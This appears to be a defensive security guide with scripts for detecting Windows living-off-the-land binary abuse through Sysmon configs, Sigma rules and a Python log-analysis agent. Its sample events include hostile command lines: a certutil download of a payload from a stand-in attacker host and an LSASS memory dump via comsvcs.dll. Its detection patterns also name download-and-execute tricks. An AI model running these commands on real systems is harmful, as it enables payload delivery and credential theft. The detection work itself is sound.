npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Monitor for suspicious use of legitimate Windows binaries (LOLBins) including certutil, mshta, rundll32, regsvr32, and others used in fileless and living-off-the-land attack techniques.
When to Use
- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
- Investigating alerts where legitimate system binaries appear in unexpected execution contexts
- Threat hunting across endpoint telemetry for fileless attack indicators
- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
- Creating Sysmon configurations tuned to capture LOLBin-related process creation events
- Responding to incidents where adversaries bypassed AV by using only built-in OS tools
Do not use for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.
Prerequisites
- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
- LOLBAS project reference: https://lolbas-project.github.io/
- Python 3.8+ with
evtx,pandasfor offline log analysis - Sigma rule repository for cross-platform detection rule authoring
Workflow
Step 1: Deploy a LOLBin-Focused Sysmon Configuration
Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:
<!-- File: sysmon-lolbin-detection.xml -->
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- Process Creation: capture all LOLBin executions with full command lines -->
<RuleGroup name="LOLBin Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="end with">certutil.exe</Image>
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">rundll32.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">msbuild.exe</Image>
<Image condition="end with">installutil.exe</Image>
<Image condition="end with">cmstp.exe</Image>
<Image condition="end with">wmic.exe</Image>
<Image condition="end with">bitsadmin.exe</Image>
<Image condition="end with">certreq.exe</Image>
<Image condition="end with">esentutl.exe</Image>
<Image condition="end with">expand.exe</Image>
<Image condition="end with">extrac32.exe</Image>
<Image condition="end with">findstr.exe</Image>
<Image condition="end with">hh.exe</Image>
<Image condition="end with">ie4uinit.exe</Image>
<Image condition="end with">mavinject.exe</Image>
<Image condition="end with">msiexec.exe</Image>
<Image condition="end with">odbcconf.exe</Image>
<Image condition="end with">pcalua.exe</Image>
<Image condition="end with">presentationhost.exe</Image>
<Image condition="end with">replace.exe</Image>
<Image condition="end with">xwizard.exe</Image>
<!-- PowerShell variants -->
<Image condition="end with">powershell.exe</Image>
<Image condition="end with">pwsh.exe</Image>
<!-- Script hosts -->
<Image condition="end with">cscript.exe</Image>
<Image condition="end with">wscript.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Network connections from LOLBins (highly suspicious) -->
<RuleGroup name="LOLBin Network" groupRelation="or">
<NetworkConnect onmatch="include">
<Image condition="end with">certutil.exe</Image>
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">rundll32.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">msbuild.exe</Image>
<Image condition="end with">bitsadmin.exe</Image>
<Image condition="end with">expand.exe</Image>
<Image condition="end with">esentutl.exe</Image>
<Image condition="end with">replace.exe</Image>
</NetworkConnect>
</RuleGroup>
</EventFiltering>
</Sysmon># Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml
# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xmlStep 2: Build Sigma Detection Rules for Key LOLBins
Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:
# File: sigma/certutil_download.yml
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
Detects certutil.exe being used to download files from remote URLs,
a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
- https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026/01/20
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- '-f'
- 'http'
condition: selection
falsepositives:
- Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
- attack.defense_evasion
- attack.t1218
- attack.command_and_control
- attack.t1105# File: sigma/mshta_execution.yml
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
commonly used for application whitelisting bypass and initial access.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/
- https://attack.mitre.org/techniques/T1218/005/
logsource:
category: process_creation
product: windows
detection:
selection_remote:
Image|endswith: '\mshta.exe'
CommandLine|contains: 'http'
selection_inline:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'vbscript:'
- 'javascript:'
selection_parent_anomaly:
Image|endswith: '\mshta.exe'
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
- '\powerpnt.exe'
condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
- Legacy HTA-based internal applications
level: high# File: sigma/regsvr32_scrobj.yml
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
known as the Squiblydoo technique for AppLocker bypass.
references:
- https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- https://attack.mitre.org/techniques/T1218/010/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- 'scrobj.dll'
- '/i:'
condition: selection
falsepositives:
- Legitimate COM scriptlet registration (rare in modern environments)
level: criticalStep 3: Analyze Sysmon Logs for LOLBin Abuse Patterns
Parse and correlate Sysmon events to identify suspicious LOLBin execution:
import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path
# Known LOLBins and their suspicious command-line indicators
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": [
r"-urlcache\s+-f\s+http",
r"-decode\s+",
r"-encode\s+",
r"-verifyctl\s+.*http",
],
"mitre": "T1218, T1105",
"severity": "high"
},
"mshta.exe": {
"suspicious_args": [
r"https?://",
r"vbscript:",
r"javascript:",
r"about:",
],
"mitre": "T1218.005",
"severity": "high"
},
"rundll32.exe": {
"suspicious_args": [
r"javascript:",
r"shell32\.dll.*ShellExec_RunDLL",
r"\\\\.*\\.*\.dll", # UNC path DLL loading
r"comsvcs\.dll.*MiniDump", # LSASS dump via comsvcs
],
"mitre": "T1218.011",
"severity": "critical"
},
"regsvr32.exe": {
"suspicious_args": [
r"/s\s+/n\s+/u\s+/i:",
r"scrobj\.dll",
r"https?://",
],
"mitre": "T1218.010",
"severity": "critical"
},
"bitsadmin.exe": {
"suspicious_args": [
r"/transfer\s+.*https?://",
r"/create\s+.*\/addfile\s+.*https?://",
r"/SetNotifyCmdLine",
],
"mitre": "T1197",
"severity": "high"
},
"wmic.exe": {
"suspicious_args": [
r"process\s+call\s+create",
r"/node:",
r"os\s+get\s+/format:.*https?://",
r"xsl.*https?://",
],
"mitre": "T1047",
"severity": "high"
},
"msbuild.exe": {
"suspicious_args": [
r"\.xml\b",
r"\.csproj\b",
r"\\temp\\",
r"\\appdata\\",
],
"mitre": "T1127.001",
"severity": "high"
},
"mavinject.exe": {
"suspicious_args": [
r"/INJECTRUNNING\s+\d+",
],
"mitre": "T1218.013",
"severity": "critical"
},
}
def analyze_sysmon_events(events):
"""Analyze Sysmon process creation events for LOLBin abuse."""
alerts = []
for event in events:
image = event.get("Image", "").lower()
cmdline = event.get("CommandLine", "")
parent = event.get("ParentImage", "")
# Check if the process is a known LOLBin
for lolbin, config in LOLBIN_SIGNATURES.items():
if image.endswith(lolbin.lower()):
for pattern in config["suspicious_args"]:
if re.search(pattern, cmdline, re.IGNORECASE):
alert = {
"timestamp": event.get("UtcTime", ""),
"hostname": event.get("Computer", ""),
"lolbin": lolbin,
"command_line": cmdline,
"parent_process": parent,
"user": event.get("User", ""),
"process_id": event.get("ProcessId", ""),
"parent_pid": event.get("ParentProcessId", ""),
"mitre_technique": config["mitre"],
"severity": config["severity"],
"matched_pattern": pattern,
}
alerts.append(alert)
break
return alerts
# Example usage with parsed Sysmon events
sample_events = [
{
"UtcTime": "2026-01-20 14:32:15.000",
"Computer": "WORKSTATION-01",
"Image": "C:\\Windows\\System32\\certutil.exe",
"CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"User": "CORP\\jsmith",
"ProcessId": "4532",
"ParentProcessId": "2108",
},
{
"UtcTime": "2026-01-20 14:33:01.000",
"Computer": "WORKSTATION-01",
"Image": "C:\\Windows\\System32\\rundll32.exe",
"CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"User": "CORP\\jsmith",
"ProcessId": "5128",
"ParentProcessId": "2108",
},
]
alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
print(f" MITRE: {alert['mitre_technique']}")
print(f" Command: {alert['command_line'][:120]}")
print(f" Parent: {alert['parent_process']}")
print(f" User: {alert['user']}")
print()Step 4: Detect LOLBin Network Connections
LOLBins making outbound network connections is a strong indicator of malicious use:
def detect_lolbin_network_activity(network_events, process_events):
"""Correlate Sysmon network events (ID 3) with process creation (ID 1)
to find LOLBins making outbound connections."""
# LOLBins that should rarely make outbound connections
NETWORK_SUSPICIOUS = {
"certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
"expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
}
alerts = []
for event in network_events:
image = event.get("Image", "").lower()
binary_name = image.split("\\")[-1] if "\\" in image else image
if binary_name in NETWORK_SUSPICIOUS:
dest_ip = event.get("DestinationIp", "")
dest_port = event.get("DestinationPort", "")
# Skip localhost and internal DNS
if dest_ip.startswith("127.") or dest_ip == "::1":
continue
alert = {
"type": "lolbin_network_connection",
"binary": binary_name,
"destination_ip": dest_ip,
"destination_port": dest_port,
"destination_hostname": event.get("DestinationHostname", ""),
"source_ip": event.get("SourceIp", ""),
"user": event.get("User", ""),
"timestamp": event.get("UtcTime", ""),
"severity": "critical",
}
alerts.append(alert)
print(f"[CRITICAL] {binary_name} connected to "
f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")
return alertsStep 5: Monitor Anomalous Parent-Child Process Relationships
# Suspicious parent-child relationships indicating LOLBin abuse
SUSPICIOUS_PARENT_CHILD = [
# Office apps spawning LOLBins (macro execution)
{"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
"child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
"wscript.exe", "cscript.exe", "certutil.exe"],
"severity": "critical", "mitre": "T1204.002"},
# Explorer spawning script interpreters directly
{"parent": ["explorer.exe"],
"child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
"severity": "high", "mitre": "T1218"},
# WMI provider spawning processes (lateral movement)
{"parent": ["wmiprvse.exe"],
"child": ["cmd.exe", "powershell.exe", "mshta.exe"],
"severity": "critical", "mitre": "T1047"},
# Services spawning unusual children
{"parent": ["services.exe"],
"child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
"severity": "high", "mitre": "T1543.003"},
]
def check_parent_child_anomaly(event):
"""Check if a process creation event has a suspicious parent-child pair."""
parent = event.get("ParentImage", "").split("\\")[-1].lower()
child = event.get("Image", "").split("\\")[-1].lower()
for rule in SUSPICIOUS_PARENT_CHILD:
if parent in rule["parent"] and child in rule["child"]:
return {
"alert_type": "suspicious_parent_child",
"parent": parent,
"child": child,
"command_line": event.get("CommandLine", ""),
"mitre": rule["mitre"],
"severity": rule["severity"],
"hostname": event.get("Computer", ""),
"user": event.get("User", ""),
"timestamp": event.get("UtcTime", ""),
}
return NoneStep 6: Implement AppLocker or WDAC Hardening
Restrict unnecessary LOLBin execution with application control policies:
# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
-FileInformation "C:\Windows\System32\certutil.exe" `
-User "S-1-1-0" -Deny
# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml
# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
"mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
"regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
"mavinject.exe", "xwizard.exe"
)
foreach ($binary in $lolbins_to_restrict) {
$path = "C:\Windows\System32\$binary"
if (Test-Path $path) {
Write-Output "Restricting: $path"
# Apply WDAC deny rule via PowerShell
# In production, use Group Policy or Intune WDAC policies
}
}Verification
- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
- Validate Sigma rules convert correctly to your SIEM query language using
sigmacorsigma-cli - Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g.,
winword.exespawningcertutil.exe) - Confirm LOLBin network connection detection triggers when
certutil.exeormshta.exereach out to external IPs - Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
- Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md3.1 KB
API Reference: Detecting Living Off the Land Attacks
CLI Usage
# Analyze Sysmon EVTX file
python agent.py sysmon-events.evtx
# Analyze Sysmon JSON/JSONL export (one event per line)
python agent.py sysmon-events.jsonl
# Filter output for critical alerts
python agent.py sysmon-events.evtx 2>/dev/null | grep CRITICALLOLBins Detected
| Binary | MITRE Technique | Severity | Abuse Type |
|---|---|---|---|
| certutil.exe | T1218, T1105, T1140 | high | Download, decode, encode |
| mshta.exe | T1218.005 | high | Remote/inline script execution |
| rundll32.exe | T1218.011 | critical | JS execution, LSASS dump, DLL loading |
| regsvr32.exe | T1218.010 | critical | Squiblydoo scriptlet execution |
| bitsadmin.exe | T1197, T1105 | high | BITS download, job notification |
| wmic.exe | T1047 | high | Remote process creation, XSL processing |
| msbuild.exe | T1127.001 | high | Inline task execution from temp/AppData |
| installutil.exe | T1218.004 | high | Silent uninstall execution |
| cmstp.exe | T1218.003 | high | INF-based execution |
| mavinject.exe | T1218.013 | critical | DLL injection into running process |
| cscript.exe | T1059.005 | medium | Remote/suspicious script execution |
| wscript.exe | T1059.005 | medium | Remote/suspicious script execution |
Suspicious Parent-Child Pairs Detected
| Parent Process | Child Process | MITRE | Severity |
|---|---|---|---|
| winword/excel/outlook | cmd/powershell/mshta/certutil | T1204.002 | critical |
| wmiprvse.exe | cmd/powershell/mshta/rundll32 | T1047 | critical |
| services.exe | cmd/powershell/mshta/rundll32 | T1543.003 | high |
| svchost.exe | mshta/regsvr32/msbuild/certutil | T1218 | high |
Network-Suspicious LOLBins
LOLBins making outbound network connections are flagged as CRITICAL:
certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, bitsadmin.exe, esentutl.exe, expand.exe, replace.exe, cmstp.exe
Input Formats
JSON Events Format
[
{
"Image": "C:\\Windows\\System32\\certutil.exe",
"CommandLine": "certutil -urlcache -f http://evil.com/payload.exe C:\\temp\\p.exe",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"User": "CORP\\jsmith",
"UtcTime": "2026-03-19 14:32:15.000",
"Computer": "WORKSTATION-01"
}
]EVTX Requirements
Sysmon EVTX files with:
- Event ID 1 (Process Creation) with full command-line logging
- Event ID 3 (Network Connection) for LOLBin network detection
Report Output Schema
{
"report_date": "2026-03-19T12:00:00+00:00",
"total_findings": 15,
"by_severity": {"critical": 3, "high": 8, "medium": 4},
"by_lolbin": {"certutil.exe": 5, "rundll32.exe": 3, "mshta.exe": 2},
"mitre_techniques_observed": ["T1047", "T1105", "T1218", "T1218.005", "T1218.011"],
"findings": []
}References
- LOLBAS Project: https://lolbas-project.github.io/
- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
- Sysmon Documentation: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- Sigma LOLBin Rules: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation
Scripts 1
agent.py18.5 KB
#!/usr/bin/env python3
"""LOLBin (Living Off the Land Binary) detection agent.
Parses Windows Sysmon Event ID 1 (Process Create) and Event ID 3
(Network Connection) logs in EVTX or JSON format to detect suspicious
LOLBin execution patterns, anomalous parent-child relationships, and
LOLBin network activity.
"""
import json
import os
import re
import sys
import xml.etree.ElementTree as ET
from collections import defaultdict
from datetime import datetime
try:
import Evtx.Evtx as evtx
HAS_EVTX = True
except ImportError:
HAS_EVTX = False
# LOLBin signatures: binary name -> suspicious command-line patterns + MITRE mapping
LOLBIN_SIGNATURES = {
"certutil.exe": {
"patterns": [
r"-urlcache\s+-f\s+https?://",
r"-decode\s+",
r"-encode\s+",
r"-verifyctl\s+.*https?://",
r"-ping\s+https?://",
],
"mitre": ["T1218", "T1105"],
"severity": "high",
"description": "Certificate utility used for file download/decode",
},
"mshta.exe": {
"patterns": [
r"https?://",
r"vbscript:",
r"javascript:",
r"about:",
],
"mitre": ["T1218.005"],
"severity": "high",
"description": "HTML Application host executing remote/inline scripts",
},
"rundll32.exe": {
"patterns": [
r"javascript:",
r"shell32\.dll.*ShellExec_RunDLL",
r"\\\\.*\\.*\.dll",
r"comsvcs\.dll.*MiniDump",
r"comsvcs\.dll.*#24",
r"url\.dll.*OpenURL",
r"url\.dll.*FileProtocolHandler",
r"advpack\.dll.*RegisterOCX",
],
"mitre": ["T1218.011"],
"severity": "critical",
"description": "DLL proxy execution via rundll32",
},
"regsvr32.exe": {
"patterns": [
r"/s\s+/n\s+/u\s+/i:",
r"scrobj\.dll",
r"https?://",
],
"mitre": ["T1218.010"],
"severity": "critical",
"description": "Squiblydoo scriptlet execution via regsvr32",
},
"bitsadmin.exe": {
"patterns": [
r"/transfer\s+.*https?://",
r"/create\s+",
r"/addfile\s+.*https?://",
r"/SetNotifyCmdLine",
r"/Resume",
],
"mitre": ["T1197"],
"severity": "high",
"description": "BITS job abuse for file download/persistence",
},
"wmic.exe": {
"patterns": [
r"process\s+call\s+create",
r"/node:",
r"os\s+get\s+/format:.*https?://",
r"/format:.*\.xsl",
],
"mitre": ["T1047"],
"severity": "high",
"description": "WMI command-line for remote execution or XSL script",
},
"msbuild.exe": {
"patterns": [
r"\.xml\b",
r"\.csproj\b",
r"\\temp\\",
r"\\appdata\\",
r"\\users\\.*\\desktop\\",
],
"mitre": ["T1127.001"],
"severity": "high",
"description": "MSBuild executing project from unusual location",
},
"installutil.exe": {
"patterns": [
r"/logfile=",
r"/LogToConsole=false",
r"\\temp\\",
r"\\appdata\\",
],
"mitre": ["T1218.004"],
"severity": "high",
"description": "InstallUtil executing assembly from unusual path",
},
"cmstp.exe": {
"patterns": [
r"/ni\s+/s\s+",
r"\.inf\b",
],
"mitre": ["T1218.003"],
"severity": "high",
"description": "CMSTP INF file execution for UAC bypass",
},
"mavinject.exe": {
"patterns": [
r"/INJECTRUNNING\s+\d+",
],
"mitre": ["T1218.013"],
"severity": "critical",
"description": "DLL injection via mavinject",
},
"powershell.exe": {
"patterns": [
r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}",
r"IEX\s*\(",
r"Invoke-Expression",
r"Net\.WebClient",
r"DownloadString",
r"DownloadFile",
r"-nop\s+-w\s+hidden",
r"FromBase64String",
],
"mitre": ["T1059.001"],
"severity": "high",
"description": "PowerShell executing encoded/download commands",
},
"pwsh.exe": {
"patterns": [
r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}",
r"IEX\s*\(",
r"Invoke-Expression",
r"DownloadString",
],
"mitre": ["T1059.001"],
"severity": "high",
"description": "PowerShell Core executing encoded/download commands",
},
"cscript.exe": {
"patterns": [
r"https?://",
r"\\temp\\",
r"\\appdata\\",
],
"mitre": ["T1059.005"],
"severity": "medium",
"description": "Console script host executing from unusual location",
},
"wscript.exe": {
"patterns": [
r"https?://",
r"\\temp\\",
r"\\appdata\\",
],
"mitre": ["T1059.005"],
"severity": "medium",
"description": "Windows script host executing from unusual location",
},
}
# Suspicious parent-child process relationships
PARENT_CHILD_RULES = [
{
"parents": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
"msaccess.exe", "mspub.exe", "visio.exe", "onenote.exe"],
"children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
"wscript.exe", "cscript.exe", "certutil.exe", "regsvr32.exe",
"rundll32.exe", "bitsadmin.exe"],
"severity": "critical",
"mitre": "T1204.002",
"description": "Office application spawned command interpreter or LOLBin",
},
{
"parents": ["wmiprvse.exe"],
"children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
"rundll32.exe"],
"severity": "critical",
"mitre": "T1047",
"description": "WMI Provider Host spawned process (possible remote WMI execution)",
},
{
"parents": ["svchost.exe"],
"children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe"],
"severity": "high",
"mitre": "T1543.003",
"description": "Service Host spawned suspicious child process",
},
{
"parents": ["explorer.exe"],
"children": ["mshta.exe", "regsvr32.exe", "msbuild.exe", "installutil.exe",
"cmstp.exe", "mavinject.exe"],
"severity": "high",
"mitre": "T1218",
"description": "Explorer spawned proxy execution binary",
},
{
"parents": ["taskeng.exe", "taskhostw.exe"],
"children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe",
"wscript.exe", "cscript.exe"],
"severity": "high",
"mitre": "T1053.005",
"description": "Scheduled task spawned suspicious process",
},
]
# LOLBins that should not make outbound network connections
NETWORK_SUSPICIOUS_LOLBINS = {
"certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
"expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
"mavinject.exe",
}
def parse_sysmon_evtx(evtx_path):
"""Parse a Sysmon EVTX file and extract Event ID 1 and 3 records."""
if not HAS_EVTX:
print("[WARN] python-evtx not installed. Use: pip install python-evtx")
return [], []
process_events = []
network_events = []
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
with evtx.Evtx(evtx_path) as log:
for record in log.records():
try:
root = ET.fromstring(record.xml())
except ET.ParseError:
continue
event_id_el = root.find(".//e:System/e:EventID", ns)
if event_id_el is None:
continue
event_id = event_id_el.text
event_data = {}
for data_el in root.findall(".//e:EventData/e:Data", ns):
name = data_el.get("Name", "")
event_data[name] = data_el.text or ""
time_el = root.find(".//e:System/e:TimeCreated", ns)
if time_el is not None:
event_data["UtcTime"] = time_el.get("SystemTime", "")
computer_el = root.find(".//e:System/e:Computer", ns)
if computer_el is not None:
event_data["Computer"] = computer_el.text or ""
if event_id == "1":
process_events.append(event_data)
elif event_id == "3":
network_events.append(event_data)
return process_events, network_events
def parse_sysmon_json(json_path):
"""Parse Sysmon events from a JSON lines file."""
process_events = []
network_events = []
with open(json_path, "r", errors="replace") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
event = json.loads(line)
except json.JSONDecodeError:
continue
event_id = str(event.get("EventID", event.get("event_id", "")))
if event_id == "1":
process_events.append(event)
elif event_id == "3":
network_events.append(event)
return process_events, network_events
def load_events(path):
"""Load Sysmon events from EVTX or JSON file."""
if path.lower().endswith(".evtx"):
return parse_sysmon_evtx(path)
elif path.lower().endswith(".json") or path.lower().endswith(".jsonl"):
return parse_sysmon_json(path)
else:
# Try JSON first, fall back to EVTX
try:
return parse_sysmon_json(path)
except Exception:
return parse_sysmon_evtx(path)
def detect_lolbin_abuse(process_events):
"""Detect suspicious LOLBin command-line patterns."""
alerts = []
for event in process_events:
image = event.get("Image", event.get("image", "")).lower()
cmdline = event.get("CommandLine", event.get("command_line", ""))
if not cmdline:
continue
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
for lolbin, config in LOLBIN_SIGNATURES.items():
if binary_name == lolbin.lower():
for pattern in config["patterns"]:
if re.search(pattern, cmdline, re.IGNORECASE):
alerts.append({
"type": "lolbin_suspicious_cmdline",
"severity": config["severity"],
"lolbin": lolbin,
"description": config["description"],
"mitre": config["mitre"],
"command_line": cmdline[:500],
"image": event.get("Image", event.get("image", "")),
"parent_image": event.get("ParentImage", event.get("parent_image", "")),
"user": event.get("User", event.get("user", "")),
"hostname": event.get("Computer", event.get("hostname", "")),
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
"pid": event.get("ProcessId", event.get("process_id", "")),
"ppid": event.get("ParentProcessId", event.get("parent_process_id", "")),
"matched_pattern": pattern,
})
break
return alerts
def detect_parent_child_anomalies(process_events):
"""Detect suspicious parent-child process relationships."""
alerts = []
for event in process_events:
parent = event.get("ParentImage", event.get("parent_image", "")).lower()
child = event.get("Image", event.get("image", "")).lower()
parent_name = parent.split("\\")[-1] if "\\" in parent else parent.split("/")[-1]
child_name = child.split("\\")[-1] if "\\" in child else child.split("/")[-1]
for rule in PARENT_CHILD_RULES:
if parent_name in rule["parents"] and child_name in rule["children"]:
alerts.append({
"type": "suspicious_parent_child",
"severity": rule["severity"],
"mitre": rule["mitre"],
"description": rule["description"],
"parent_process": parent,
"child_process": child,
"command_line": event.get("CommandLine", event.get("command_line", ""))[:500],
"user": event.get("User", event.get("user", "")),
"hostname": event.get("Computer", event.get("hostname", "")),
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
})
break
return alerts
def detect_lolbin_network(network_events):
"""Detect LOLBins making outbound network connections."""
alerts = []
for event in network_events:
image = event.get("Image", event.get("image", "")).lower()
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
if binary_name in NETWORK_SUSPICIOUS_LOLBINS:
dest_ip = event.get("DestinationIp", event.get("destination_ip", ""))
if dest_ip.startswith("127.") or dest_ip == "::1":
continue
alerts.append({
"type": "lolbin_network_connection",
"severity": "critical",
"binary": binary_name,
"image": event.get("Image", event.get("image", "")),
"destination_ip": dest_ip,
"destination_port": event.get("DestinationPort", event.get("destination_port", "")),
"destination_hostname": event.get("DestinationHostname", event.get("destination_hostname", "")),
"source_ip": event.get("SourceIp", event.get("source_ip", "")),
"user": event.get("User", event.get("user", "")),
"hostname": event.get("Computer", event.get("hostname", "")),
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
})
return alerts
def generate_statistics(process_events, all_alerts):
"""Generate summary statistics."""
lolbin_exec_counts = defaultdict(int)
for event in process_events:
image = event.get("Image", event.get("image", "")).lower()
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
if binary_name in [k.lower() for k in LOLBIN_SIGNATURES]:
lolbin_exec_counts[binary_name] += 1
severity_counts = defaultdict(int)
type_counts = defaultdict(int)
mitre_counts = defaultdict(int)
for alert in all_alerts:
severity_counts[alert.get("severity", "unknown")] += 1
type_counts[alert.get("type", "unknown")] += 1
mitre_ids = alert.get("mitre", [])
if isinstance(mitre_ids, str):
mitre_ids = [mitre_ids]
for mid in mitre_ids:
mitre_counts[mid] += 1
return {
"lolbin_execution_counts": dict(lolbin_exec_counts),
"alert_severity_counts": dict(severity_counts),
"alert_type_counts": dict(type_counts),
"mitre_technique_counts": dict(mitre_counts),
"total_alerts": len(all_alerts),
}
if __name__ == "__main__":
print("=" * 60)
print("Living Off the Land (LOLBin) Detection Agent")
print("Sysmon log analysis for LOLBin abuse, parent-child")
print("anomalies, and LOLBin network connections")
print("=" * 60)
input_path = sys.argv[1] if len(sys.argv) > 1 else None
if not input_path or not os.path.exists(input_path):
print(f"\n[DEMO] Usage: python agent.py <sysmon_events.evtx|json|jsonl>")
print("[*] Provide Sysmon event logs (EVTX or JSON) for LOLBin analysis.")
print(f"[*] Monitors {len(LOLBIN_SIGNATURES)} LOLBins with "
f"{sum(len(v['patterns']) for v in LOLBIN_SIGNATURES.values())} detection patterns")
print(f"[*] {len(PARENT_CHILD_RULES)} parent-child anomaly rules")
print(f"[*] {len(NETWORK_SUSPICIOUS_LOLBINS)} LOLBins monitored for network activity")
sys.exit(0)
print(f"\n[*] Loading events from: {input_path}")
process_events, network_events = load_events(input_path)
print(f" Process creation events (EID 1): {len(process_events)}")
print(f" Network connection events (EID 3): {len(network_events)}")
all_alerts = []
print("\n--- LOLBin Command-Line Detection ---")
cmdline_alerts = detect_lolbin_abuse(process_events)
print(f" Suspicious LOLBin executions: {len(cmdline_alerts)}")
for a in cmdline_alerts[:15]:
print(f" [{a['severity'].upper()}] {a['lolbin']} on {a.get('hostname', '?')}")
print(f" MITRE: {', '.join(a['mitre']) if isinstance(a['mitre'], list) else a['mitre']}")
print(f" Cmd: {a['command_line'][:120]}")
print(f" Parent: {a['parent_image']}")
print(f" User: {a['user']}")
all_alerts.extend(cmdline_alerts)
print("\n--- Parent-Child Anomaly Detection ---")
pc_alerts = detect_parent_child_anomalies(process_events)
print(f" Suspicious parent-child pairs: {len(pc_alerts)}")
for a in pc_alerts[:15]:
print(f" [{a['severity'].upper()}] {a['description']}")
print(f" Parent: {a['parent_process']} -> Child: {a['child_process']}")
print(f" Cmd: {a['command_line'][:120]}")
